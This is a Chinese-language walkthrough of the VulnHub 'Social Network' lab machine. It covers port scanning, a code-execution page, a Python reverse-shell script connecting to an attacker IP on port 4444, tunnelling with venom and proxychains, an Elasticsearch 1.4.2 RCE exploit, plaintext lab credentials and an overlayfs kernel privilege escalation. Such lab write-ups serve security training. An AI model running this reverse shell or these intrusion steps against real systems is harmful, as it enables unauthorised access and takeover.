VulnHub-BoredHackerBlog: Social Network
靶机和kali处于同一网段,使用二层地址发现找出靶机IP(192.168.56.101)
2.端口扫描
拿到IP后,对靶机进行全端口扫描,探测靶机开启了22和5000两个端口
3.服务发现
扫描出这两个端口后,使用namp对打开端口进行服务和版本的发现
22端口跑的是OpenSSH服务,操作系统是Ubuntu;5000端口跑的是http服务,服务器端可能运行Python的环境
4.找注入点
既然是Web服务,就可以看一下有没有默认页面啥的找一下注入点,结果没有发现跨站啥的漏洞,可能是我SO菜Dog,哈哈。
5.路径爬取
既然这样找不到注入点,就用dirsearch扫一下目录吧,结果发现了一个页面
6.代码注入
打开是一个一个代码执行页面,可能存在注入点
7.Shell脚本
试一下Python脚本反弹Shell获取权限
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.56.102",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
启动侦听后提交发现成功了!!!而且还有root权限???
百度Dockerfile文件发现它是一个标准化部署的模板文件。通过查找确认了这机器确实是Dockerfile容器
6.内网信息收集
查看IP发现这是一个内网IP,扫一下网段里的存活主机发现只有三个
for i in $(seq 1 65535); do ping -c 1 172.17.0.$i; done
7.内网穿透
因为是一个内网网段,用kali扫描内网使用venom工具,建立隧道去穿透内网
kali开启http服务
靶机通过kali的http服务下载venom客户端
给venom执行权限
kali启动venom侦听9999端口
靶机执行venom客户端建立隧道
用show命令查看节点并使用goto 1连接节点,kali端启动侦听1080端口的socks代理(socks 1080)
为了让kali的攻击工具可以通过挂代理访问内网网段,使用proxychain工具。
修改proxychain的配置文件,代理类型为socks5端口改为1080
8.内网端口及服务扫描
扫描端口和服务之后发现了172.17.0.3中9200端口跑的应用是Elasticsearch,而且版本是1.4.2
9.漏洞利用
Elasticsearch曾经出现过严重的RCE远程代码执行漏洞,用kali找到的前两个远程代码执行漏洞可以利用
先试第一个,把它拷贝到桌面并查看一下脚本代码,发现是用Python2编写的
用Python2执行脚本发现提示使用信息
执行脚本命令,发现又是一个root权限,emmm~
结果发现又是一个容器的root权限,但是在根目录有一个passwords文件
10.密码破解
查看passwords文件发现里面存放了一些账号和密码(哈希值),需要得到明文密码才能尝试登陆
john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane
直接用账号密码尝试登录打开22端口的SSH,结果root根本登陆不进去。只能从第一个开始试了,结果直接进去了
后来试了一下其它的,只有john能登陆
11.本地提权
既然进去了,不做点什么都对不起自己,看一下能不能直接sudo到root,很明显不能
查看版本信息发现版本是老古董了,内核提权直接冲
kali查一下3.13的内核版本漏洞有哪些
试一下这个吧
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privi | linux/local/37292.c
老规矩,先拷到桌面看一下
发现这是一个C语言的源代码,先编译才能执行,试了一下靶机竟然没有gcc
12.修改代码并攻击
本地编译成二进制再给靶机执行是可以的,但是查看源码发现,里面再次调用了C语言函数库
只能修改源码再编译成二进制文件传给靶机执行,让代码执行到这里时不调用C语言库文件,而是使用编译好的二进制文件,就可以解决这个问题。把涉及编译库文件的指令全部删掉,所以这里直接删除了139-147行。
修改完后编译成二进制文件,报错并不影响执行结果,不需要管它
要执行exp文件还需要已经编译好的二进制的库文件,源码中有库文件名,找到后依旧拷贝到桌面
当前目录启动http服务
通过http服务将两个文件传到靶机
13.提权ROOT
将文件拷贝到tmp目录下,并给执行权限
直接执行并查看当先用户权限